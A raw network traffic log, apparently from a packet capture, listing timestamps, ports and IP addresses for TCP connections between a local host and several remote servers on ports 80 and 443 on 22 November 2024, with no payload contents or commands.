Nov 22, 2024 23:06:40.379039049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.379163027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.379215002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.379765987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.379821062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.379877090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.379924059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.380621910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.380701065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.380908966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.380968094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.381372929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.381421089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.381494999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.381540060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.382211924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.382266998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.382314920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.382356882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.383094072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.383116007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.383145094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.383164883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.383779049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.383891106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.383908033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.383939028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.384591103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.384648085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.384820938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.384917974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.385389090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.385437012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.386228085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.386244059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.386259079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.386271954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.386288881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.386308908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.386688948 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.387012959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.387056112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.387114048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.387161970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.387815952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.387885094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.388720036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.388736010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.388751984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.388786077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.388828039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.389552116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.389600992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.389633894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.389744043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.390249014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.390419960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.390435934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.390469074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.391045094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.391091108 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.391169071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.391216993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.391863108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.391910076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.392337084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.392385006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.392659903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.392708063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.392838001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.392973900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.393466949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.393512964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.393944025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.393994093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.394299030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.394351959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.394506931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.394557953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.395092010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.395138979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.395344019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.395387888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.396027088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.396073103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.396750927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.396766901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.396784067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.396814108 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.396847963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.397551060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.397598982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.397600889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.397646904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.398309946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.398442984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.398730993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.398780107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.399127007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.399175882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.399210930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.399355888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.399921894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.399975061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.400126934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.400173903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.400770903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.400820971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.459106922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.459168911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.459321022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.459367037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.459508896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.459558010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.459741116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.459786892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.460328102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.460381985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.460423946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.460470915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.460587978 CET	443	49860	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:40.460697889 CET	443	49860	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:40.460760117 CET	49860	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:40.461080074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.461127043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.461328030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.461369038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.461441994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.461487055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.462156057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.462186098 CET	49860	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:40.462205887 CET	443	49860	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:40.462207079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.462982893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.462999105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.463047981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.463145971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.463196993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.463753939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.463802099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.464217901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.464266062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.464612007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.464659929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.464709997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.464751959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.465428114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.465491056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.465728045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.465780020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.466424942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.466476917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.466671944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.466717958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.467211008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.467274904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.467295885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.467319965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.484785080 CET	443	49867	18.238.49.74	192.168.2.5
Nov 22, 2024 23:06:40.485013008 CET	49867	443	192.168.2.5	18.238.49.74
Nov 22, 2024 23:06:40.485032082 CET	443	49867	18.238.49.74	192.168.2.5
Nov 22, 2024 23:06:40.485375881 CET	443	49867	18.238.49.74	192.168.2.5
Nov 22, 2024 23:06:40.485704899 CET	49867	443	192.168.2.5	18.238.49.74
Nov 22, 2024 23:06:40.485764980 CET	443	49867	18.238.49.74	192.168.2.5
Nov 22, 2024 23:06:40.485928059 CET	49867	443	192.168.2.5	18.238.49.74
Nov 22, 2024 23:06:40.497117996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.497174978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.497287035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.497463942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.497499943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.497539043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.497585058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.498303890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.498385906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.498444080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.498495102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.499159098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.499217987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.499228954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.499329090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.499907017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.499958038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.500092030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.500139952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.500736952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.500833035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.500838995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.500874996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.501533031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.501583099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.501658916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.501720905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.502348900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.502397060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.502471924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.502521038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.503206968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.503253937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.503290892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.503334045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.503966093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.504035950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.504053116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.504096985 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.521621943 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:40.522134066 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:40.522250891 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.522355080 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.522355080 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.522376060 CET	443	49859	52.182.141.63	192.168.2.5
Nov 22, 2024 23:06:40.522488117 CET	49859	443	192.168.2.5	52.182.141.63
Nov 22, 2024 23:06:40.531335115 CET	443	49867	18.238.49.74	192.168.2.5
Nov 22, 2024 23:06:40.585175037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.585230112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.585236073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.585272074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.585546970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.585608006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.585738897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.585782051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.585788965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.585829973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.586608887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.586637020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.586679935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.586695910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.587371111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.587425947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.587531090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.587675095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.588211060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.588228941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.588263988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.588298082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.588973045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.589020014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.589379072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.589432955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.589847088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.589896917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.589941978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.589982986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.590615034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.590679884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.590900898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.590940952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.591418028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.591464996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.591666937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.591706038 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.592271090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.592324018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.592853069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.593055964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.593075037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.593091965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.593135118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.594172001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.594187975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.594221115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.594235897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.630796909 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.630812883 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.630863905 CET	49862	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.630877018 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.630999088 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.631064892 CET	49862	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.632644892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:40.632811069 CET	49862	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.632838964 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.664834023 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.665010929 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.665056944 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.666307926 CET	49861	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.666333914 CET	443	49861	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.673295975 CET	49880	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.673336983 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.673393011 CET	49880	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.673645973 CET	49880	443	192.168.2.5	23.96.180.189
Nov 22, 2024 23:06:40.673664093 CET	443	49880	23.96.180.189	192.168.2.5
Nov 22, 2024 23:06:40.686044931 CET	443	49864	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.686675072 CET	443	49864	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.686739922 CET	49864	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.689158916 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.689176083 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.689204931 CET	49864	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.689238071 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.689245939 CET	443	49864	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.689274073 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.693227053 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.693304062 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.693403959 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.698477983 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.698544025 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.698582888 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.698600054 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.698613882 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.698652983 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.698704958 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.698805094 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.701692104 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.701708078 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.745312929 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.745347977 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.745420933 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.745445967 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.745495081 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.745497942 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.745583057 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.747827053 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:40.747840881 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:40.752054930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:40.932742119 CET	49881	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:40.932796001 CET	443	49881	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:40.932900906 CET	49881	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:40.933382034 CET	49881	443	192.168.2.5	20.110.205.119
Nov 22, 2024 23:06:40.933408976 CET	443	49881	20.110.205.119	192.168.2.5
Nov 22, 2024 23:06:40.938687086 CET	443	49867	18.238.49.74	192.168.2.5
Nov 22, 2024 23:06:40.938752890 CET	443	49867	18.238.49.74	192.168.2.5
Nov 22, 2024 23:06:40.938868999 CET	49867	443	192.168.2.5	18.238.49.74
Nov 22, 2024 23:06:40.939467907 CET	49867	443	192.168.2.5	18.238.49.74
Nov 22, 2024 23:06:40.939467907 CET	49867	443	192.168.2.5	18.238.49.74
Nov 22, 2024 23:06:40.939488888 CET	443	49867	18.238.49.74	192.168.2.5
Nov 22, 2024 23:06:40.939527988 CET	49867	443	192.168.2.5	18.238.49.74
Nov 22, 2024 23:06:40.970514059 CET	443	49870	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:40.970755100 CET	49870	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:40.970768929 CET	443	49870	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:40.971812963 CET	443	49870	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:40.971894979 CET	49870	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:40.972923040 CET	49870	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:40.972999096 CET	443	49870	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:41.012913942 CET	49870	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:41.012939930 CET	443	49870	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:41.029582977 CET	443	49871	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:41.029822111 CET	49871	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:41.029838085 CET	443	49871	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:41.031294107 CET	443	49871	104.126.116.43	192.168.2.5
Nov 22, 2024 23:06:41.031352997 CET	49871	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:41.031671047 CET	49871	443	192.168.2.5	104.126.116.43
Nov 22, 2024 23:06:41.031747103 CET	443	49871	104.126.116.43	192.168.2.5
